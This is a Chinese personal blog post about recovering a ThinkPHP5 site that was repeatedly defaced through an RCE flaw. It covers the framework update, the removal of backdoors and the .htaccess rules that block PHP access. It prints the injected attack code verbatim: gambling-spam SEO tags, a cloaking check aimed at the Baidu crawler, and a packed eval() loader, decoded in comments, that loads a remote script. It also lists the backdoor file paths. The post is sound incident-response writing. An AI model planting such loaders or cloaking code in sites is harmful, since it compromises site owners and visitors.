喵♂呜 的博客

一个刚毕业就当爹的程序猿 正在迷雾中寻找道路...

一场修复ThinkPHP框架的RCE漏洞的旷世大战

最近由于ThinkPHP5存在RCE漏洞 导致我的网站多次被篡改 存个档 留个记录

起因

  • 我的插件商城有人反馈一直卡在主页 无法跳转
  • 我直接回复了上一次的Git存档 网站恢复
  • 没过多久 又出现了 经过排查 发现首页被加入特殊代码 已做转换处理
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<title>&#21271;&#20140;&#36187;&#36710;&#112;&#107;&#31934;&#20934;&#35745;&#21010;&#95;&#20840;&#22825;&#31283;&#36186;&#35745;&#21010;</title>
<!--北京赛车pk精准计划_全天稳赚计划-->
<meta name="keywords" content="&#21271;&#20140;&#36187;&#36710;&#112;&#107;&#31934;&#20934;&#35745;&#21010;&#95;&#20840;&#22825;&#31283;&#36186;&#35745;&#21010;"/>
<!--北京赛车pk精准计划_全天稳赚计划-->
<meta name="description" content="&#21271;&#20140;&#112;&#107;&#20840;&#22825;&#31934;&#20934;&#35745;&#21010;&#12304;&#86;&#86;&#54;&#55;&#56;&#46;&#67;&#79;&#77;&#12305;&#20844;&#20247;&#20449;&#24687;&#32593;&#26159;&#37325;&#24198;&#26102;&#26102;&#24425;&#24320;&#24425;&#30452;&#25773;&#44;&#20320;&#24515;&#20013;&#30340;&#21271;&#20140;&#112;&#107;&#20840;&#22825;&#31934;&#20934;&#35745;&#21010;&#26159;&#26381;&#21153;&#31038;&#20250;&#20844;&#20247;&#30340;&#37325;&#35201;&#31383;&#21475;&#12289;&#29615;&#20122;&#26102;&#26102;&#24425;&#20449;&#24687;&#20844;&#24320;&#30340;&#31532;&#19968;&#24179;&#21488;&#12289;&#25919;&#27665;&#20114;&#21160;&#20132;&#27969;&#30340;&#37325;&#35201;&#28192;&#36947;&#12290;"/>
<!--转换后
北京pk全天精准计划【VV678.COM】公众信息网是重庆时时彩开彩直播,你心中的北京pk全天精准计划是服务社会公众的重要窗口、环亚时时彩信息公开的第一平台、政民互动交流的重要渠道。
-->
<script>if(navigator.userAgent.toLocaleLowerCase().indexOf("baidu") == -1){document.title ="YUMC插件商城"}</script>
<script type="text/javascript">eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('n["\\e\\f\\2\\m\\k\\6\\l\\0"]["\\9\\4\\8\\0\\6"](\'\\h\\1\\2\\4\\8\\5\\0 \\0\\o\\5\\6\\d\\7\\0\\6\\q\\0\\3\\g\\a\\c\\a\\1\\2\\4\\8\\5\\0\\7 \\1\\4\\2\\d\\7\\p\\0\\0\\5\\1\\r\\3\\3\\9\\9\\9\\b\\e\\a\\1\\c\\i\\b\\2\\f\\k\\3\\c\\i\\b\\g\\1\\7\\j\\h\\3\\1\\2\\4\\8\\5\\0\\j\');',28,28,'x74|x73|x63|x2f|x72|x70|x65|x22|x69|x77|x61|x2e|x76|x3d|x64|x6f|x6a|x3c|x38|x3e|x6d|x6e|x75|window|x79|x68|x78|x3a'.split('|'),0,{}))
</script>
<!--第一次转换
window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65"]('\x3c\x73\x63\x72\x69\x70\x74 \x74\x79\x70\x65\x3d\x22\x74\x65\x78\x74\x2f\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\x22 \x73\x72\x63\x3d\x22\x68\x74\x74\x70\x73\x3a\x2f\x2f\x77\x77\x77\x2e\x64\x61\x73\x76\x38\x2e\x63\x6f\x6d\x2f\x76\x38\x2e\x6a\x73\x22\x3e\x3c\x2f\x73\x63\x72\x69\x70\x74\x3e');
-->
<!--第二次转换
window["document"]["write"]("<script type="text/javascript" src="https://www.dasv8.com/v8.js"></script>");
-->
  • image

排查问题

第一回合 更新框架

  • 既然能多次篡改 明显是网站存在漏洞
  • 找了最新的ThinkPHP更新日志
  • image
  • 经过确认 这两次暴露的漏洞都是 RCE (Remote Command Exec) 也就是远程执行漏洞
  • 随后我升级了 框架到最新的版本 同时恢复了被篡改的文件

第二回合 清理缓存

  • 没过多久 又有人 反应 网站又打不开了
  • 查看代码 发现的确又被篡改了
  • 这里还真的卡了我一会儿
  • 按照思路 因为这个是云虚拟主机 如果要修改网站总是要有一个入口来修改
  • 随后我去下载了网站的访问记录
  • image
  • 由于网站做了伪静态处理 所有 凡是访问 PHP文件的都是有问题的
  • 经过搜索 发现了以下几处 还都是不同的后门
    • http://w.yumc.pw/vendor/composer/autoload_namespacess.php样本下载
    • http://w.yumc.pw/runtime/temp/11f5a43852bea323.php
    • http://w.yumc.pw/public/css/base.php样本下载
    • http://w.yumc.pw/public/images/magic.php样本下载
  • 删除文件之后恢复网站访问

第三回合 屏蔽不安全的目录

  • 没错 就半小时不到 又被改了
  • 由于网站在万网 所以 index.php 文件只能在 htdocs 目录下
  • 于是我修改了入口文件 导致不安全的目录暴露 ThinkPHP适配云虚拟主机
  • 同时 云虚拟主机好像不支持屏蔽目录
  • 检查文件的时候 发现了 .htaccess 文件
  • 这个文件是用来做Rewrite的 于是 写入规则 屏蔽访问
    1
    2
    3
    4
    5
    6
    7
    8
    9
    <IfModule mod_rewrite.c>
    Options +FollowSymlinks -Multiviews
    RewriteEngine On

    RewriteRule ^(vendor|runtime|thinkphp)(.*)$ [R=403,L]
    RewriteCond %{REQUEST_FILENAME} !-d
    RewriteCond %{REQUEST_FILENAME} !-f
    RewriteRule ^(.*)$ index.php/$1 [QSA,PT,L]
    </IfModule>
  • 恢复文件 恢复访问

第四回合 屏蔽所有不安全的访问

  • emm 不说了
  • 检查日志文件 发现还是 public 目录导致了
  • 由于 public 目录不能屏蔽
  • 想到网站反正做了伪静态 索性就屏蔽了所有的 PHP 文件访问
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    <IfModule mod_rewrite.c>
    Options +FollowSymlinks -Multiviews
    RewriteEngine On

    RewriteRule ^(vendor|runtime|thinkphp)(.*)$ [R=403,L]
    RewriteRule ^(.*\.php)$ [R=403,L]
    RewriteCond %{REQUEST_FILENAME} !-d
    RewriteCond %{REQUEST_FILENAME} !-f
    RewriteRule ^(.*)$ index.php/$1 [QSA,PT,L]
    </IfModule>
  • 战斗到此结束 到目前为止 网站还没被篡改 有后续继续更新

相关文案

欢迎关注我的其它发布渠道